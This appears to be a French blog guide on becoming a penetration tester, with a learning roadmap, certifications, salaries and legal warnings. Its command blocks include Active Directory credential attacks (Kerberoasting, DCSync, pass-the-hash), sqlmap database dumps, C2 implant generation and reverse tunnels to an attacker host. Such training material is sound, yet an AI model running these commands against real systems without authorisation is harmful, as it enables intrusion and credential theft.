Apprendre le pentest : roadmap structurée 2026

Devenir pentester en partant de zéro demande 12-24 mois réalistes pour atteindre le niveau de 1ère mission junior (38-50 k€/an CDI FR 2026), 24-36 mois sans bases tech préalables. Le piège classique : se perdre entre TryHackMe, HackTheBox, OSCP, eJPT, CPTS, des centaines de tutoriels YouTube et un Discord saturé. La voie qui marche est linéaire et progressive, pas du papillonnage parallèle. Plan structuré : mois 1-4 fondamentaux (Linux, réseau, HTTP, Python), mois 5-10 TryHackMe parcours guidés (Pre-Security, Junior Penetration Tester, ~14$/mois Premium), mois 11-16 HackTheBox machines easy-medium (~14$/mois VIP), mois 17-22 certif eJPT v2 (250-400$) ou CPTS HackTheBox (490$), mois 22-30 prep + passage OSCP (1700-2500$, taux réussite ~30% first attempt 2024-2026). Stack outillage incontournable : nmap, Burp Suite, sqlmap, BloodHound, Metasploit, Python. Sous-domaines à choisir après bases : web pentest (60% du marché FR), AD pentest (25%), cloud pentest (10% mais en croissance), mobile pentest (3%), OT/IoT (2%, niche industriel). Marché 2026 : pentest junior 38-50 k€/an CDI FR, senior 65-85 k€, freelance senior 600-1300€/jour HT. Pentest IA émergent en pénurie : senior 1200-1800€/j. Cet article documente le plan 18-24 mois pas-à-pas, l'ordre des plateformes, les certifications par étape, la stack outillage, et les anti-patterns persistants, notamment « démarrer par OSCP » et « tout faire en parallèle ».

Pour le contexte général reconversion : voir Travailler en cyber : par où commencer. Pour le cas pentester → audit IA : Pentester IA / formation 12 semaines.

Le bon mental model : pentest = artisanat avec curve d'apprentissage longue

Erreur cognitive du débutant pentest type 2026 : croire que c'est une série de hacks cool qu'on apprend par YouTube tutos. Faux. Le pentest est un artisanat avec une courbe d'apprentissage longue, où tu construis :

1. Un mental model adversaire, penser comme un attaquant : énumération, pivot, exploitation, persistence.
2. Une méthodologie reproductible, suivre PTES, OWASP WSTG, pas improviser.
3. Une stack outillage maîtrisée, 20-30 outils canoniques, sans dépendance script-kiddie.
4. Une expérience patterns, reconnaître à 5 secondes une vuln SSRF, un IDOR, un Kerberoasting.
5. Un reporting clair, décrire impact business, exploitation, recommandation, avec captures.

Cette construction prend du temps en mode profond, pas en mode dispersé. C'est pourquoi le plan linéaire bat le papillonnage parallèle.

Plan d'apprentissage pentest 18-24 mois pas-à-pas

Volume horaire : 15-25h/semaine pendant 18-24 mois pour un débutant motivé en parallèle de l'emploi/études actuels. Total ~1500-2500h pratique = niveau pentester junior crédible.

# Setup labo pentest local, gratuit ou peu cher
# Hyperviseur (gratuit perso)
brew install --cask virtualbox  # ou VMware Fusion 13 perso gratuit
 
# VM Kali Linux (référence, gratuit)
# Télécharger ISO sur https://www.kali.org/get-kali/
# Min 4 GB RAM, 50 GB disque, snapshot avant changements majeurs
 
# Outils essentiels Kali (déjà installés mais à connaître)
which nmap masscan gobuster ffuf dirsearch
which sqlmap nikto wpscan
which john hashcat
which nc socat ncat
 
# Burp Suite Community (gratuit, suffit débutant)
# Burp Suite Professional (449$/an, à acheter quand pratique régulière)
# Le Community fait tout sauf Intruder rapide et scanner auto
 
# Plateformes pratique
# TryHackMe : 14$/mois Premium, parcours guidés
# HackTheBox : 14$/mois VIP (machines retired sans VPN), 20$/mois VIP+
# OffSec Proving Grounds Practice : 17$/mois (pré-OSCP)
# PortSwigger Web Security Academy : gratuit (référence web)
# Microsoft Learn Security : gratuit
 
# Labs persos sur ton hyperviseur (vulnérables intentionnellement)
docker pull vulnerables/web-dvwa  # Damn Vulnerable Web App
docker pull bkimminich/juice-shop  # OWASP Juice Shop
docker pull citizenstig/dvwa
docker pull vulhub/struts2-s2-001  # CVE classique

Plateformes ordonnées : TryHackMe → HackTheBox → OffSec PG → OSCP

Certifications pentest par étape (ordre recommandé 2026)

Ordre recommandé démarrage : eJPT v2 (250-400$) → Burp Suite Certified (99£) → CPTS HTB (490$) ou OSCP (1700-2500$). Total ~700-3300$ sur 18-24 mois.

Stack outillage pentest essentielle 2026

Recon et enumeration

# Network reconnaissance
nmap -sC -sV -oA initial 10.10.10.10  # scan classique
nmap -p- -T4 --min-rate 1000 -oA fullports 10.10.10.10  # tous ports
nmap --script vuln 10.10.10.10  # scripts vuln
 
masscan -p1-65535 --rate=10000 10.10.10.0/24  # scan rapide /24
 
# Web enumeration
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -t 50
ffuf -u http://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
dirsearch -u http://target.com -e php,html,js
subfinder -d target.com  # subdomains
amass enum -d target.com  # subdomains profond
 
# Vuln scanning
nuclei -u https://target.com -t cves/  # CVE templates
nikto -h target.com  # vieux mais utile
wpscan --url http://target.com  # WordPress

Web exploitation

# Burp Suite Pro (449$/an) ou Community (gratuit)
# - Proxy interception
# - Repeater (rejouer requêtes)
# - Intruder (fuzzing, brute force)
# - Decoder, Comparer
# - Extender (BApp Store : Logger++, Autorize, JWT4B)
 
# SQLi automatisée
sqlmap -u "http://target.com/page?id=1" --batch --dbs
sqlmap -u "http://target.com/page?id=1" --batch --dump -D database -T users
 
# JWT manipulation
# Outils : jwt.io (visualisation), JWT4B (Burp extension)
 
# OAuth2 / OIDC pentest
# Outils : Postman, Insomnia, ZAP, HTTP Toolkit

Active Directory pentest

# Reconnaissance AD
nslookup -type=SRV _ldap._tcp.dc._msdcs.target.local
crackmapexec smb 10.10.10.0/24 --gen-relay-list relays.txt
 
# BloodHound (graphe AD)
bloodhound-python -u user -p pass -d target.local -c All -ns 10.10.10.10
neo4j console  # démarrage Neo4j
bloodhound  # interface graphique
 
# Kerberoasting
GetUserSPNs.py target.local/user:pass -dc-ip 10.10.10.10 -request
hashcat -m 13100 hashes.txt rockyou.txt
 
# AS-REP Roasting
GetNPUsers.py target.local/ -no-pass -usersfile users.txt -dc-ip 10.10.10.10
hashcat -m 18200 hashes.txt rockyou.txt
 
# DCSync attack
secretsdump.py target.local/admin:pass@10.10.10.10
 
# Pass the Hash
psexec.py target.local/admin@10.10.10.10 -hashes :NTLM_HASH
 
# AD CS attacks (Certipy)
certipy find -u user@target.local -p pass -dc-ip 10.10.10.10
certipy template -u user@target.local -p pass -template VulnTemplate

Post-exploitation et pivot

# Metasploit Framework (référence)
msfconsole
search type:exploit platform:linux apache 2.4
use exploit/multi/http/apache_continue_request_smuggling
 
# Sliver C2 (BishopFox, OSS Apache 2.0)
sliver-server
sliver > generate --mtls 10.10.10.10:443 --os linux --arch amd64
sliver > mtls --lport 443
 
# pwncat-cs (Caleb Stewart, post-exploit Python)
pip install pwncat-cs
pwncat-cs -lp 4444  # listener auto-stabilisé
 
# Pivot avec Chisel (Jeremy Pelt, OSS MIT)
chisel server --reverse --port 8080  # côté attaquant
chisel client http://attaquant.com:8080 R:1080:socks  # côté pivot
 
# Pivot avec Ligolo-ng (Nicolas Chatelain, OSS GPL)
sudo ip tuntap add user $(whoami) mode tun ligolo
./proxy -selfcert -laddr 0.0.0.0:11601
./agent -connect attaquant.com:11601

Cracking et brute force

# John the Ripper
john --wordlist=rockyou.txt hashes.txt
john --format=NT --wordlist=rockyou.txt hashes.txt
 
# Hashcat (GPU recommandé)
hashcat -m 1000 -a 0 hashes.txt rockyou.txt  # NTLM
hashcat -m 13100 -a 0 hashes.txt rockyou.txt  # Kerberoast
hashcat -m 18200 -a 0 hashes.txt rockyou.txt  # AS-REP
 
# WiFi (hcxtools + hashcat)
hcxdumptool -i wlan0 -o capture.pcapng
hcxpcapngtool -o hashes.hccapx capture.pcapng
hashcat -m 22000 hashes.hccapx rockyou.txt

Choisir sa sous-spécialisation pentest après les bases

Position : démarrer web pentest (60% du marché, ressources abondantes), puis ajouter AD pentest au mois 13-15 (forte demande complémentaire), élargir cloud ou IA security vers mois 18-24 si appétence.

Erreurs fréquentes en apprentissage pentest

Pour aller plus loin

• Travailler en cyber : par où commencer, pour cadrer pentest vs autres spés cyber.
• Développeur vers cybersécurité : roadmap 2026, cas spécifique des devs en transition.
• Reconversion cybersécurité sans 5 ans d'études, voies courtes incluant bootcamps pentest.
• Décrocher sa première mission cybersécurité, plan 90 jours pour 1ère mission.
• Freelance cybersécurité : TJM, structure et clients 2026, pour passer freelance après 3+ ans XP pentest.
• Reverse shell : payloads, stabilisation et détection SOC, fondamentaux post-exploit.
• Threat modeling : STRIDE, PASTA, LINDDUN, pour comprendre la défense face à laquelle tu opères.
• Sources externes : TryHackMe, HackTheBox, PortSwigger Web Security Academy, OffSec OSCP, TCM Security PNPT, OWASP WSTG, PTES.

Points clés à retenir

• 12-24 mois réalistes pour devenir pentester opérationnel en partant de zéro tech (24-36 mois sans bases). « Pentester en 3 mois » est un mensonge marketing.
• Plan linéaire 18-24 mois : mois 1-4 fondamentaux Linux/réseau/HTTP/Python, 5-10 TryHackMe Junior Pen Tester path, 11-16 HackTheBox easy/medium, 17-18 certif eJPT/CPTS, 19-22 OSCP prep, 23-24 1ère mission.
• TryHackMe (~14$/mois Premium) pour 6 premiers mois (parcours guidés), HackTheBox VIP (~14$/mois) pour 12-24 mois suivants (machines marché-réalistes).
• Certifs ordre recommandé 2026 : eJPT v2 (250-400$, 1ère certif accessible) → Burp Suite Certified Practitioner (99£) → CPTS HackTheBox (490$) ou OSCP OffSec (1700-2500$, taux réussite ~30% first attempt).
• OSCP en 1ère certif = piège stratégique. ~70% redoublent ou abandonnent (retours marché 2024-2026). Démarrer eJPT (taux réussite ~70-80%) puis OSCP à 12-18 mois.
• Stack outillage 2026 essentielle : nmap, Burp Suite, sqlmap, BloodHound, Metasploit, Sliver C2, pwncat-cs, Chisel/Ligolo-ng pour pivot, John/Hashcat pour cracking.
• Sous-spés par marché : web pentest 60%, AD pentest 25%, cloud pentest 10% (croissance), mobile 3%, OT/IoT 2%, pentest IA <1% (pénurie aiguë, salaires 90-130 k€ CDI).
• Salaires CDI FR 2026 : pentest web junior 38-50 k€, mid 50-65 k€, senior 65-85 k€. Freelance senior 600-1300€/j HT. Pentest IA senior 1200-1800€/j (pénurie).
• ESN cyber dédiées qui forment juniors : Synacktiv, Quarkslab, Devoteam Cyber Trust, Wavestone Cybersec, Orange Cyberdefense, Stormshield, Almond.
• Volume horaire réaliste : 15-25h/semaine pendant 18-24 mois = 1500-2500h pratique pour niveau pentester junior crédible.
• Anti-pattern n°1 : tout faire en parallèle (5 plateformes simultanées) → aucun parcours fini, dispersion. Anti-pattern n°2 : OSCP en 1ère certif → échec coûteux. Anti-pattern n°3 : skip fondamentaux Linux/réseau → bloqué dès enum avancée.
• Cadre légal : pentest non autorisé = loi Godfrain article 323-1 CP (5 ans + 150 k€). Toujours contrat signé scope précis ou CTF/labs personnels. Bug bounty avec scope HackerOne/Bugcrowd/YesWeHack.
• Position : la voie qui marche = linéaire et progressive, finir un parcours avant le suivant. La motivation vient de l'achèvement, pas de l'éparpillement.